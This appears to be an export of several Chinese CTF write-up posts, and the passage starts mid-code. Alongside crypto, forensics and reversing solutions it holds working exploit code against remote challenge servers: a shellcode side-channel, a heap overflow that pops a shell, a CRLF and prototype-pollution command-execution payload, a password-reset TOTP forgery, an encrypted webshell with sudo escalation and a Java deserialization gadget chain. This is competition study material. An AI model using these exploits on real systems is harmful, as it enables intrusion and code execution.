l += 1 return S # number in dec to number in bit def d2b(n): res = \u0026#39;\u0026#39; while n \u0026gt; 0: res += chr(n % 2 + ord(\u0026#39;0\u0026#39;)) n = n // 2 while len(res) \u0026lt; 4: res += \u0026#39;0\u0026#39; return res[::-1] # sbox replacement def sbox(ipt): S = getSbox() res = [0] * 32 i, l = 0, 0 while i \u0026lt; 48: j = ipt[i] * 2 + ipt[i + 5] k = ipt[i + 1] * 8 + ipt[i + 2] * 4 + ipt[i + 3] * 2 + ipt[i + 4] temp = d2b(S[l][j][k]) for m in range(4): res[m + l * 4] = int(temp[m]) l += 1 i += 6 return res # get Pbox def getPbox(): P_str = open(\u0026#39;./src/pbox.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split() P = [0] * len(P_str) for i in range(len(P_str)): P[i] = int(P_str[i]) return P # pbox replacement def pbox(ipt): P = getPbox() res = [0] * 32 for i in range(32): res[i] = ipt[P[i] - 1] return res # f function def f(R, K): # extend R E_R = extend(R) # E_R xor K afterADD = xor(E_R, K) # sbox afterSbox = sbox(afterADD) # linear displacement res = pbox(afterSbox) return res # Encrypt function def DES_Encrypt(plaintext, roundkey): M_IP = [0] * 64 cipher = [0] * 64 afterF = [0] * 64 L = [[0] * 32 for i in range(17)] R = [[0] * 32 for i in range(17)] IP, IP_1 = getIP() # get IP replace for i in range(64): M_IP[i] = plaintext[IP[i] - 1] # get L0 and R0 for i in range(32): L[0][i] = M_IP[i] R[0][i] = M_IP[i + 32] for i in range(1,17): # L[i] = R[i - 1] for j in range(32): L[i][j] = R[i - 1][j] R[i] = xor(L[i - 1], f(R[i - 1], roundkey[i - 1])) # merge the R and L for i in range(64): if i \u0026lt; 32: afterF[i] = R[16][i] else: afterF[i] = L[16][i - 32] # using IP_1 replace to get cipher for i in range(64): cipher[i] = afterF[IP_1[i] - 1] return cipher ######################################################################### # Main ######################################################################### # number in hex to number in bin def hex_to_bin(a): b = int(a, 16) res = \u0026#39;\u0026#39; while b \u0026gt; 0: res += chr(b % 2 + ord(\u0026#39;0\u0026#39;)) b = b // 2 while len(res) \u0026lt; 4: res += \u0026#39;0\u0026#39; return res[::-1] # text in hex to text in bin def h2b(s): res = [] for i in s: temp = hex_to_bin(i) for j in range(4): res.append(int(temp[j])) return res # number in bin to number in hex def bin_to_hex(a): b = int(a, 2) return hex(b)[2:] # text in bin to text in hex def b2h(s): res = \u0026#39;\u0026#39; now_bin = \u0026#39;\u0026#39; for i in range(len(s)): now_bin += chr(s[i] + ord(\u0026#39;0\u0026#39;)) if len(now_bin) % 4 == 0: res += bin_to_hex(now_bin) now_bin = \u0026#39;\u0026#39; return res def gen_P_1(): p = getPbox() p_1 = [0] * 32; for i in range(32): p_1[p[i] - 1] = i return p_1 def str2martix(s): m = [0] * 6 for i in range(6): m[i] = int(s[i], 2) return m def solve(plaintext, cipher): m = h2b(plaintext) c = h2b(cipher) C_IP = [0] * 64 M_IP = [0] * 64 cipher = [0] * 64 may_after_xor = [[\u0026#39;\u0026#39;for i in range(4)]for j in range(8)] L = [[0] * 32 for i in range(17)] R = [[0] * 32 for i in range(17)] ast = [0] * 32 IP, IP_1 = getIP() before_p = [0] * 32 S = getSbox() p_1 = gen_P_1() # get IP replace for i in range(64): M_IP[i] = m[IP[i] - 1] C_IP[i] = c[IP[i] - 1] # get L0 and R0 for i in range(32): L[0][i] = M_IP[i] R[0][i] = M_IP[i + 32] for i in range(32): L[1][i] = C_IP[i] R[1][i] = C_IP[i + 32] e = extend(R[0]) cip = xor(R[1], L[0]) for i in range(32): before_p[i] = cip[p_1[i]] # 还原进入sbox前的值 for i in range(8): for j in range(4): for k in range(16): if S[i][j][k] == int(b2h(before_p[i*4:(i+1)*4]), 16): may_after_xor[i][j] = (bin(j)[2:].zfill(2)[0] + bin(k)[2:].zfill(4) + bin(j)[2:].zfill(2)[1]) may_res = [[[]for i in range(4)]for j in range(8)] for i in range(8): for j in range(4): may_after_xor[i][j] = str2martix(may_after_xor[i][j]) # 还原所有可能的K for i in range(8): for j in range(4): may_res[i][j] = (xor(may_after_xor[i][j], e[i*6:(i+1)*6])) return may_res def gen_PC_1(): PC_1, PC_2 = getPC() PC1, PC2 = [-1] * 64, [-1] * 56 for i in range(56): PC1[PC_1[i] - 1] = i for i in range(48): PC2[PC_2[i] - 1] = i return PC1, PC2 # def resolve_key(roundKey): # C = [0] * 28 # D = [0] * 28 # K = [0] * 56 # PC_1, PC_2 = getPC() # PC1, PC2 = gen_PC_1() # moveNum = getMoveNum() # for i in range(48): # if PC2[j] \u0026lt;= 28: # C[PC2[j]] = roundKey[i] # else: # D[PC2[j] - 28] = roundKey[i] # C = leftRow(C, 28 - moveNum[i]) # D = leftRow(D, 28 - moveNum[i]) # for i in range(28): # K[i] = C[i] # K[i + 28] = D[i] # for i in range(56): # key[PC1[i]] = K[i] # return key if __name__ == \u0026#39;__main__\u0026#39;: plaintext1 = \u0026#34;4845AB454511C0F0\u0026#34; miwen1 = \u0026#34;2EA85F08AA80C2D2\u0026#34; plaintext2 = \u0026#34;0123456789ABCDEF\u0026#34; miwen2 = \u0026#34;0293A8B9E45FCE5D\u0026#34; plaintext3 = \u0026#34;81120015A001FDF1\u0026#34; miwen3 = \u0026#34;E88382207800FE7A\u0026#34; plaintext4 = \u0026#34;2214500AEF00CD48\u0026#34; miwen4=\u0026#34;B38AA0AD7720E4AC\u0026#34; plaintext5 = \u0026#34;5791AC22121B1234\u0026#34; miwen5=\u0026#34;A3C0DEB9AB0F833A\u0026#34; K1 = solve(plaintext1, miwen1) K2 = solve(plaintext2, miwen2) K3 = solve(plaintext3, miwen3) K4 = solve(plaintext4, miwen4) K5 = solve(plaintext5, miwen5) K = [] for i in range(8): for j in range(4): if (K1[i][j] in K2[i]) and (K1[i][j] in K3[i]) and (K1[i][j] in K4[i]) and (K1[i][j] in K5[i]): print(i, j) K += K1[i][j] print(K) Misc [萌新]在哪儿呢 PDF里面有很多不可见字符，直接复制粘贴到sublime里面就可以看到flag\nflag{hey_there_is_no_thing}\n[签到]签到 题目描述，直接提交\n只是个PNG，别想太多了.png 拿到png，利用pngdebugger查，发现后面的块恢复成IDAT就行\ncrc不对，爆破长宽，抄了个大师傅的脚本\nimport zlib import struct file = \u0026#39;PNG.png\u0026#39; fr = open(file,\u0026#39;rb\u0026#39;).read() data = bytearray(fr[12:29]) crc32key = eval(str(fr[29:33]).replace(\u0026#39;\\\\x\u0026#39;,\u0026#39;\u0026#39;).replace(\u0026#34;b\u0026#39;\u0026#34;,\u0026#39;0x\u0026#39;).replace(\u0026#34;\u0026#39;\u0026#34;,\u0026#39;\u0026#39;)) #crc32key = 0xCBD6DF8A #data = bytearray(b\u0026#39;\\x49\\x48\\x44\\x52\\x00\\x00\\x01\\xF4\\x00\\x00\\x01\\xF1\\x08\\x06\\x00\\x00\\x00\u0026#39;) n = 4095 for w in range(n): width = bytearray(struct.pack(\u0026#39;\u0026gt;i\u0026#39;, w)) for h in range(n): height = bytearray(struct.pack(\u0026#39;\u0026gt;i\u0026#39;, h)) for x in range(4): data[x+4] = width[x] data[x+8] = height[x] #print(data) crc32result = zlib.crc32(data) if crc32result == crc32key: print(width,height) newpic = bytearray(fr) for x in range(4): newpic[x+16] = width[x] newpic[x+20] = height[x] fw = open(file+\u0026#39;.png\u0026#39;,\u0026#39;wb\u0026#39;) fw.write(newpic) fw.close # return None 恢复后图片新增内容\n看到多了一个压缩的部分，拿binwalk分了下，flag在后面的文件中\nflag{zhe_ti_mu_ye_tai_bt_le_XD}\n压缩包压缩包压缩包压缩包 import zipfile import os for i in range(0,1000): name = os.listdir(\u0026#34;./\u0026#34;)[0] zfile = zipfile.ZipFile(name,\u0026#39;r\u0026#39;) in_file = zfile.namelist()[0] passwd = in_file[0:-4] zfile.extract(in_file, \u0026#39;./\u0026#39;,bytes(passwd,encoding =\u0026#34;ascii\u0026#34;)) zfile.close() os.remove(name) 解出23333.zip\n密码根据规律猜测是3-6位，爆破得到756698是密码\n010editor搜索flag得到flag\nflag{Unz1p_i5_So_C00l##}\nrange_download 过滤dns报文，存在几条query name为xx.nss.neusoft.edu.cn的dns请求包，应该是base64编码的dns隧道，上脚本分析：\nimport pyshark import re import base64 cap = pyshark.FileCapture(\u0026#39;range.pcapng\u0026#39;,display_filter=\u0026#39;dns and dns.flags==0x00000100 and dns.qry.name matches \u0026#34;^[^.-]*\\.nss.neusoft.edu.cn$\u0026#34;\u0026#39;) datas = [] ids = [] for pkt in cap: name = pkt.dns.qry_name id = pkt.dns.id match = re.search(\u0026#39;^([^.-]*)\\.nss.neusoft.edu.cn$\u0026#39;, name) data = \u0026#39;\u0026#39; if match: data = match.group(1) if data == \u0026#39;\u0026#39;: print(\u0026#39;error! \u0026#39; + name) if id in ids: continue datas.append(data) ids.append(id) line = \u0026#39;\u0026#39;.join(datas) img = base64.b64decode(line.encode()) print(img) cap.close() 跑出来是password: nss_yyds!\n过滤http协议，全都是206 Partial Content，把flag.7z一个字节一个字节地传了过来，顺序是乱的，需要写脚本恢复。调试的时候发现基本每个字节都会被传输很多次，并且有一个字节没有被传输，这些在写脚本的时候都需要注意到。\nimport pyshark import re import base64 cap = pyshark.FileCapture(\u0026#39;range.pcapng\u0026#39;,display_filter=\u0026#39;http and http.response.code == 206\u0026#39;) data = bytearray(2460) poslist = [False for i in range(2460)] for pkt in cap: length = int(pkt.http.content_length) payload = pkt.http.file_data.binary_value for field in pkt.http.response_line.alternate_fields: if field.showname_key == \u0026#39;Content-Range\u0026#39;: pos_start = -1 pos_end = -1 contentRange = field.showname_value.strip(\u0026#39;\\\\r\\\\n\u0026#39;) match = re.search(\u0026#39;bytes (\\d+)-(\\d+)/\\d+\u0026#39;, contentRange) if match: pos_start = int(match.group(1)) pos_end = int(match.group(2)) assert(pos_end - pos_start + 1 == length) for i in range(pos_start, pos_end+1): if poslist[i] == True: assert(data[i] == payload[i-pos_start]) else: poslist[i] = True data[pos_start:pos_end+1] = payload else: print(\u0026#39;Error! Range not found!\u0026#39;) exit(0) break else: pass for i in range(2460): if poslist[i] == False: print(i) cap.close() with open(\u0026#39;flag.7z\u0026#39;,\u0026#39;wb\u0026#39;) as f: f.write(data) 下标2349位置的字节未知，需要爆破一下：\nimport py7zr import os import _lzma with open(\u0026#39;flag.7z\u0026#39;,\u0026#39;rb\u0026#39;) as f: source = f.read() data = bytearray(source) for i in range(256): print(\u0026#34;Now: \u0026#34;+str(i)) data[2349] = i with open(\u0026#39;flag%d.7z\u0026#39;%(i),\u0026#39;wb\u0026#39;) as f1: f1.write(data) try: with py7zr.SevenZipFile(\u0026#39;flag%d.7z\u0026#39;%(i), \u0026#39;r\u0026#39;, password=\u0026#39;nss_yyds!\u0026#39;) as archive: if archive.test() == True or archive.test() == None: print(\u0026#39;Found:\u0026#39; + str(i)) break else: os.remove(\u0026#39;flag%d.7z\u0026#39;%(i)) except (py7zr.exceptions.Bad7zFile, _lzma.LZMAError) as e: print(e) os.remove(\u0026#39;flag%d.7z\u0026#39;%(i)) 运行结果是194，将flag194.7z解压得到flag.png\n解码为5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d\nciphey一把梭：\nflag{6095B134-5437-4B21-BE52-EDC46A276297}\n","date":"2021-12-06T19:23:41+08:00","image":"https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/Top%2010%20Teams_hu9bd851d71a6520395d404c81ac536fbe_87588_120x120_fill_box_smart1_3.png","permalink":"https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/","title":"2021暗泉杯 Writeup"},{"content":"Misc 溯源取证——张三的电脑 下载得到压缩包，经过判断类型后得知是 VMDK 文件，用 vmware 挂载。其中得到了 zhangsan.001 和 zhangsan.ad1.txt 两个文件\nwinhex挂载 zhangsan.001，在分区1的 $RECYCLE.BIN 中找到 tips.txt.txt 文件，内容为\nIn order to prevent leaving evidence, Zhang San deleted all the key evidence photos. 因此寻找 png 文件，同样在分区1的 $RECYCLE.BIN 中找到了包含相应的 flag 图片 $REFK9A1.png\nPwn secretcode 掏出初赛的代码稍微改改\nfrom pwn import * import sys # context.log_level = \u0026#34;debug\u0026#34; context.arch = \u0026#39;amd64\u0026#39; if len(sys.argv) \u0026lt; 2: debug = True else: debug = False ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) def pwn(p, index, ch): # open shellcode = \u0026#34;push 0x1003caaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;\u0026#34; # re open, rax =\u0026gt; 4 shellcode += \u0026#34;and ecx,0x15;inc ecx;\u0026#34; shellcode += \u0026#34;s:push 2; pop rax; push rcx;syscall; pop rcx;loop s;\u0026#34; # read(rax, 0x10040, 0x50) shellcode += \u0026#34;mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;\u0026#34; # cmp and jz if index == 0: shellcode += \u0026#34;cmp byte ptr[rsi+{0}], {1}; jz $-3; ret\u0026#34;.format(index, ch) else: shellcode += \u0026#34;cmp byte ptr[rsi+{0}], {1}; jz $-4; ret\u0026#34;.format(index, ch) shellcode = asm(shellcode) pay = shellcode.ljust(0x40 - 4, b\u0026#39;a\u0026#39;) + b\u0026#39;flag\u0026#39; log.warning(hex(len(pay))) p.sendafter(\u0026#34;==\\n\u0026#34;, pay) index = 0 ans = [] while True: for ch in range(0x20, 127): try: if debug: p = process(\u0026#34;./chall\u0026#34;) else: p = remote(\u0026#39;47.104.169.149\u0026#39;, 25178) pwn(p, index, ch) start = time.time() p.recv(timeout=2) except: pass end = time.time() p.close() if end - start \u0026gt; 1.5: ans.append(ch) print(\u0026#34;\u0026#34;.join([chr(i) for i in ans])) break else: print(\u0026#34;\u0026#34;.join([chr(i) for i in ans])) break index = index + 1 print(ans) print(\u0026#34;\u0026#34;.join([chr(i) for i in ans])) p.interactive() babynote abs32的洞，直接上下无限堆溢出\nfrom pwn import * import sys context.log_level = \u0026#34;debug\u0026#34; if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./chall\u0026#34;) libc = ELF(\u0026#34;/home/daidaishou/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc.so.6\u0026#34;) else: p = remote(\u0026#34;47.104.169.149\u0026#34;,\u0026#34;14269\u0026#34;) libc = ELF(\u0026#34;./libc-2.27.so\u0026#34;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) def menu(i): sla(\u0026#39;\u0026gt; \u0026#39;, str(i)) def add(sz, c): menu(1) sla(\u0026#39;size\u0026gt; \u0026#39;, str(sz)) sa(\u0026#39;msg\u0026gt; \u0026#39;, c) def free(i): menu(3) sla(\u0026#39;idx\u0026gt; \u0026#39;, str(i)) def edit(i, offset, c): menu(2) sla(\u0026#39;idx\u0026gt; \u0026#39;, str(i)) sla(\u0026#39;offset\u0026gt; \u0026#39;, str(offset)) sa(\u0026#39;msg\u0026gt; \u0026#39;, c) def show(i): menu(4) sla(\u0026#39;idx\u0026gt; \u0026#39;, str(i)) debugf() add(0x29c, b\u0026#39;Chunk_0\\n\u0026#39;) add(0x200, b\u0026#39;Chunk_1\\n\u0026#39;) add(0x78, b\u0026#39;Chunk_2\\n\u0026#39;) add(0x21f, b\u0026#39;Chunk_3\\n\u0026#39;) add(0x18, b\u0026#39;/bin/sh\\n\u0026#39;) edit(0, 0x80000000, b\u0026#39;\\x07\u0026#39;*0x5e + b\u0026#39;\\n\u0026#39;) free(1) edit(3, 0x80000000, b\u0026#39;a\u0026#39;*0x52 + p64(0x80+0x210) + p64(0x230) + b\u0026#39;\\n\u0026#39;) free(3) add(0x200, \u0026#39;Chunk_1\\n\u0026#39;) show(2) libc.address = u64(rv(6) + b\u0026#39;\\x00\u0026#39;*2) - 0x3ebca0 log.warning(hex(libc.address)) free_hook = libc.sym[\u0026#39;__free_hook\u0026#39;] edit(0, 0x80000000, b\u0026#39;\\x01\u0026#39;*(12+0x80)+p64(free_hook)*0x60 + b\u0026#39;\\n\u0026#39;) add(0xd8, p64(libc.sym[\u0026#39;system\u0026#39;]) + b\u0026#39;\\n\u0026#39;) free(4) p.interactive() Re abc 动调，发现输入主要是进入一个case语句\n__int64 __fastcall sub_401406() { char *v0; // rax int v1; // ecx v1 = *v0; switch ( v1 ) { case \u0026#39;#\u0026#39;: // 右 return sub_400A65(); case \u0026#39;$\u0026#39;: // 上 return sub_40085B(); case \u0026#39;%\u0026#39;: // 左 return sub_400B6D(); case \u0026#39;@\u0026#39;: // 下 return sub_40095D(); } sub_4013EE(); return sub_400C6F(); } 分别查看四个函数，发现主要是将内存中的-1与另一个数据进行交换\n最后的验证逻辑为\nv10 = __ROR4__(__ROL4__(0x75DFBD5B, 15) ^ 0xDEADBEEF, 10);// 1 for ( i = v10; i \u0026lt; 15; i = i - 84 + 85 ) { sub_400CBA(); if ( box[i] - box[i - 1] != 1 ) v10 = __ROR4__(__ROL4__(0x7DDFBD5B, 15) ^ 0xDEADBEEF, 10); } 内存中总共有16个数字，猜测是一个十六格的拼图\n1, A, 2, 3, 5, D, 6, 4, 9,-1, 7, B, E, F, C, 8 其中-1可以上下左右交换位置\n手动解一下，远程验证\n$$##@@%%$##@@%$$#@%%%@#$%@##$%%@##$%@#$#@ executable_pyc 工具还原字节码，根据字节码手动恢复出python脚本，得到加密逻辑\ndef e2(m): assert type(m) == bytes l = len(m) // 2 m1 = s2n(m[:l]) m2 = s2n(m[l:]) p = gen_prime(1024) q = gen_prime(1024) pp = g.next_prime(p + 2333) qq = g.next_prime(q + 2333) e = g.next_prime(65535) ee = g.next_prime(e) n = p * q nn = pp * qq c1 = n2s(pow(m1, e, n)) c2 = n2s(pow(m2, ee, nn)) print (str(n), nn.digits(), (c1 + c2).hex()) 后面就是解密码题了，需要找出p和q\n因为素数的频率大概在​ $\\ln(n)$ 的时间复杂度，所以​ $pp$ 和 $p$ ​以及 $qq$ ​和 $q$ ​的差距很小，大概在 $​p+2333+\\ln(p)$ 附近。\n所以让 $pp=p+x, qq=q+y$​。有 $n=pq, nn=pp*qq=(p+x)(q+x)=n+py+qx+xy$\n让 $dn=nn-n=py+qx+xy=py+xn/p+xy$​，有 $yp^2+(xy-dn)p+xn=0​$\n如果让 $​p$ 有解，则让 $\\Delta=(xy-dn)^2-4xyn=x^2y^2-2\\cdot dn\\cdot xy+(dn)^2-4xyn\u0026gt;0$ ​且能够保证 $\\Delta$​开出整数方根。函数如下\ndef qiugen(x, y, dn): cur = x ** 2 * y ** 2 + dn ** 2 - 2 * dn * x * y - 4 * x * y * n cur_root = root(cur, 2) if cur_root ** 2 == cur: up = dn - x * y + cur_root if up % (2 * y) == 0: ans = up // (2 * y) return ans return -1 然后开始遍历​x,y，考虑到素数频率，可以大致确定x,y范围为[2333, 2333+1024]​。将其范围扩展到[2333, 4333]​。这样遍历的范围在4000000次qiugen函数运算。\n考虑到​nn确定，所以​x,y之间应该满足某种条件。​\n$\\Delta=x^2y^2-2dn\\cdot xy+(dn)^2-4xyn=h^2-(2dn+4n)h+(dn)^2$，其中$h=xy$​。如果需要让​$\\Delta\u0026gt;0$，需要$h\u0026lt;dn+2n-2*sqrt(dn\\cdot n+n^2)$，约为6174696​。\n所以可以令x遍历[2333,4333]，令y遍历[2333,6174696/x]​，即可找到真正的​x,y。即可得到p,q,pp,qq​。\nfrom Qmath import root from libnum import * from gmpy2 import next_prime ​ n = 10300808326934539089496666241808264289631957459372648156286399524715435483257526083909012656240599916663153630994400397551123967736269088895097145175999170121832669199408651009327424481969614347720526807144751032787049942449153321489493089722581323461987069958785112077070200328522919094221696573840593056153329019331663146921270200309620591339456771948171473174493228003768777355758929283942611167959313149646888081882056633536206394514157657102927145569575772516981907153659054180860331268989018643271316833183194539111739812416472551511615664022982639779869597584768094658974144703654232643726744397158318139843 nn = 10300808326934539089496666241808264289631957459372648156286399524715435483257526083909012656240599916663153630994400397551123967736269088895097145175999170121832669199408651009327424481969614347720526807144751032787049942449153321489493089722581323461987069958785112077070200328522919094221696573840593061197309859493502461339998035893727381543475878482841368750058482267744297318087515308976122481608145274938058888809506400916026737269420025654685431401793700398817215185170304169141953786566489760847593258253794575454082327627379713144072687287826518630644255675609067675836382036436064703619178779628644141463 cipher = 0x22cca5150ca0bb2132f68302dc7441e52b91ae7252e44cc13ed83e58253a9aaaa55e095ba36748dff7ea21fff553f8c4656e77a508b64da054f1381b7e2d0600bcec6ed9e1cc8d14c2362aaef7a972a714f88e5afb2d39ed77d0c22a449ca2cfb0802c138f20e0ecbd3c174151cdb8e8ca6d89aa3c503615ebfbc851af5ac51dcfa8b5869b775b57a27b9e4346979180d89b303cae2c5d9e6cabb3c9947837bd8f92333532d4b54dd72ea35400060006328f6f4329147df195ec78a7ab9d39973ce0fd6511e7a0de54737bee64476ba531604f0375b08adf7d768c41ba9e2ba88468d126561a134de79dc0217c1c56d219ca6747103618e46f35281feb9e6050c93e32e26e21ee2c3495f60db2fad9f9a5c570c9f97aee698024ebff6163ef26e32958872db7c593d7f41f90981b8db45aa01085be1e61f7603ecf3d5c032dd90dea791cd9825299548c0cbe7dadabc157048a7fd5cd4bcb1cfeaf0bd2d679f66cb0b1c33ec04bd20317f872c85d500a3475833f983fdee59b3f61a731e2a8b9a60bd7d840f46e97f06dd4fd8ad1cb4d13a82da01938801c33835ceaf34e1cf62ebdde7ac68b17c2a236b64ffacd2a0e7258571ce570871aea9f309df63c0a3abcfa0c05d159a82f9fa3f3ad73944e4ae33c3432c8b65c0d6fe9b560220b14abe5886188fc1e6afa4bb4395669618387224422acf20b519af902225e270 ​ dn = nn - n ​ def qiugen(x, y, dn): cur = x ** 2 * y ** 2 + dn ** 2 - 2 * dn * x * y - 4 * x * y * n cur_root = root(cur, 2) if cur_root ** 2 == cur: up = dn - x * y + cur_root if up % (2 * y) == 0: ans = up // (2 * y) return ans return -1 ​ ​ for x in range(4333, 2333, -1): if (x - 2333) % 100 == 0: print x for y in range(6174700 // x, 2332, -1): cur_ans = qiugen(x, y, dn) if cur_ans != -1: print cur_ans if n % cur_ans == 0: p = cur_ans q = n // p print cur_ans pp = next_prime(p + 2333) qq = next_prime(q + 2333) print (n2s(pow(c1, invmod(0x10001, (p - 1) * (q - 1)), p * q))) print (n2s(pow(c2, invmod(0x10003, (pp - 1) * (qq - 1)), pp * qq))) Crypto crack point 已知椭圆曲线正常加密，key的位数过小，大步小步法爆破2的39次方到2的40次方寻找key=436370150383，算出\npoint2 = (54874480268135442592960451774606422130 : 54593336491331150503709607435043296744 : 1)\nflag = cipher - point_2得到最终点\n","date":"2021-11-05T16:23:41+08:00","permalink":"https://or4ngesec.github.io/post/bluehat-final-writeup/","title":"2021蓝帽杯决赛 Writeup"}] \ No newline at end of file +[{"content":"Web 扭转乾坤 apache层面的waf说content-type不能是multipart/form-data,结合题目描述利用tomcat和apache对content-type理解差异性大小写绕过后随意上传文件即可获取flag。 real_ez_node CRLF注入+原型链污染+ejs模板注入\nimport requests import urllib url = \u0026#34;http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81/\u0026#34; payload = \u0026#39;\u0026#39;\u0026#39; HTTP/1.1 POST /copy HTTP/1.1 Host: 127.0.0.1 Content-Length: 159 Content-Type: application/json {\u0026#34;constructor.prototype.outputFunctionName\u0026#34;:\u0026#34;__tmp1; return global.process.mainModule.constructor._load(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;cat /flag.txt\u0026#39;);var __tmp2\u0026#34;} GET / HTTP/1.1 test:\u0026#39;\u0026#39;\u0026#39;.replace(\u0026#39;\\n\u0026#39;,\u0026#39;\\r\\n\u0026#39;) def payload_encode(raw): ret = u\u0026#34;\u0026#34; for i in raw: ret += chr(0x0100+ord(i)) return ret payload = payload_encode(payload) print(payload) r = requests.get(url + \u0026#34;curl?q=\u0026#34; + urllib.parse.quote(payload)) print(r.text) 访问首页即可下载flag文件。 real world git 忘记密码的逻辑中，生成的验证码只跟邮箱和时间戳有关系，没有引入随机数，本地跑一下就能跑出来，然后利用这个验证码重置root@codefever.cn的密码，再登录就可以看到flag了。\n\u0026lt;?php // this function use to generated uuid namespace service\\Utility; define(\u0026#39;TOTP_SALT\u0026#39;, \u0026#39;codefever-salt\u0026#39;); class TOTP { const SALT = \u0026#39;codefever_salt\u0026#39;; const TOTP_REFRESH_INTERVAL = 30; const TOTP_CHECK_WINDOW_MIN = -10; const TOTP_CHECK_WINDOW_MAX = 10; const PASSWORD_LENGTH = 6; static private function hashInput (string $input) { $salt = self::SALT; if (TOTP_SALT) { $salt = TOTP_SALT; } $input = $input ? $input : self::SALT; return hash(\u0026#39;sha256\u0026#39;, md5($input) . md5($salt), FALSE); } static private function genTotp (string $hashedInput, int $timestamp) { $sequence = floor($timestamp / 30); $code = hash_hmac(\u0026#39;sha256\u0026#39;, $hashedInput . md5($sequence), md5($sequence), TRUE); $finalValue = 0; $index = 0; do { $finalValue += ord($code[$index]); $finalValue = $finalValue \u0026lt;\u0026lt; 2; $index++; } while (isset($code[$index])); return $finalValue; } static private function trimTotp (int $sourceTotp) { $trimedTotp = $sourceTotp % pow(10, self::PASSWORD_LENGTH); $format = \u0026#34;%\u0026#39;.0\u0026#34;. self::PASSWORD_LENGTH .\u0026#34;u\u0026#34;; return sprintf($format, abs($trimedTotp)); } static function generate(string $input) { return self::trimTotp(self::genTotp(self::hashInput($input), time())); } static function check(string $input, string $code) { $hashedInput = self::hashInput($input); $currentTime = time(); for ( $windowIndex = self::TOTP_CHECK_WINDOW_MIN; $windowIndex \u0026lt;= self::TOTP_CHECK_WINDOW_MAX; $windowIndex++ ) { if ( $code === self::trimTotp( self::genTotp( $hashedInput, $currentTime + ($windowIndex * self::TOTP_REFRESH_INTERVAL) ) ) ) { return TRUE; } } return FALSE; } } $email = \u0026#39;root@codefever.cn\u0026#39;; echo TOTP::generate($email); unusual php 能AFR，显示的报错是/tmp/fuck.php执行的，对index.php产生怀疑，直接读index.php发现是乱码，用伪协议读到二进制文件猜测是密文，应该是开启了zend扩展。阅读phpinfo发现存在zend-test的扩展。 扩展位置：/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so 对.so文件进行逆向，在my_compile_file函数中看到大概逻辑，读文件，用rc4解密后zend_stream_open到/tmp/fuck.php然后执行，密钥是abcsdfadfjiweur 对一句话木马进行rc4加密，上传至远程，即可rce。 拿到shell后尝试suid提权未果，尝试sudo -l提权发现chmod不需要密码，故把flag的权限改为可读即可读到flag。 Node Magical Login flag1是通过设置cookie的user=admin键值对获得。 flag2通过这种方式获取：\ntry{ checkcode = checkcode.toLowerCase() if(checkcode !== \u0026#34;aGr5AtSp55dRacer\u0026#34;){ res.status(403).json({\u0026#34;msg\u0026#34;:\u0026#34;Invalid Checkcode1:\u0026#34; + checkcode}) } }catch (__) {} res.status(200).type(\u0026#34;text/html\u0026#34;).json({\u0026#34;msg\u0026#34;:\u0026#34;You Got Another Part Of Flag: \u0026#34; + flag2.toString().trim()}) 发现获取flag不在try语句块内，尝试在tolowerCase处触发异常，传一个长度为16的数组，元素中不是字符即可触发异常，直接给flag2。\neasy_api(*) 前半部分bypass filter是不小心多打了一个斜杠绕过去的//api/test 后面的反序列化部分注意到了lib里有这些依赖，给的又是原生反序列化入口，所以无视了fastjson。 发现yso里正好有一个现成的\nSpring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aop alliance:1.0, commons-logging:1.2 就想当然的去复现spring2的链子，后来发现spring版本对不上已经来不及了。 fastjson最经典的部分是自动触发getter来getProperties加载字节码，如何触发getter可以通过JSON.parse触发，也可以通过toJSONString触发，很有意思的是JSON这个类的tostring就是toJSONString 思路很明确了，题目ban了BadAttributeValueExpException来触发tostring，用xstring来触发，复制之前的部分即可。利用链：readObject-\u0026gt;hashmap.put-\u0026gt;xstring.tostring-\u0026gt;JSON.tostring-\u0026gt;templates.getproperties 最后的exp：\npackage com.example; import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import org.springframework.aop.target.HotSwappableTargetSource; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.net.URLEncoder; import java.util.Base64; import java.util.HashMap; public class api_test_payload { public static Field getField(final Class\u0026lt;?\u0026gt; clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); 